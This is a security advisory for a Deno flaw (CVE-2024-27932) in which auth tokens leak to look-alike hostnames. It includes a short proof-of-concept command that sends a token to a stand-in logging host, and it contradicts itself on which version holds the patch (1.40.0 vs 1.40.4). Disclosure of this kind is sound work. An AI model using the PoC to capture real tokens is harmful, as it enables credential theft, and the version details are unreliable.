CVE-2024-27932: Deno's improper suffix match testing for DENO_AUTH_TOKENS
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
authtokens.rs uses a simple endswith check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com. - Run DENOAUTHTOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENOAUTHTOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact What kind of vulnerability is it? Who is impacted? Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected.
Other sources
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example[.]com may be sent to notexample[.]com. Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-27932?
CVE-2024-27932 has a high severity rating due to the risk of sensitive tokens being inadvertently sent to incorrect servers.
How do I fix CVE-2024-27932?
To mitigate CVE-2024-27932, update Deno to version 1.40.4 or later.
What causes CVE-2024-27932?
CVE-2024-27932 occurs because Deno improperly verifies that an import specifier's hostname matches the expected token's hostname.
Which versions of Deno are affected by CVE-2024-27932?
Deno versions from 1.8.0 to 1.40.4 are affected by CVE-2024-27932.
What are the potential risks associated with CVE-2024-27932?
The main risk of CVE-2024-27932 is that authentic tokens intended for a specific server may be exposed to malicious servers, leading to unauthorized access.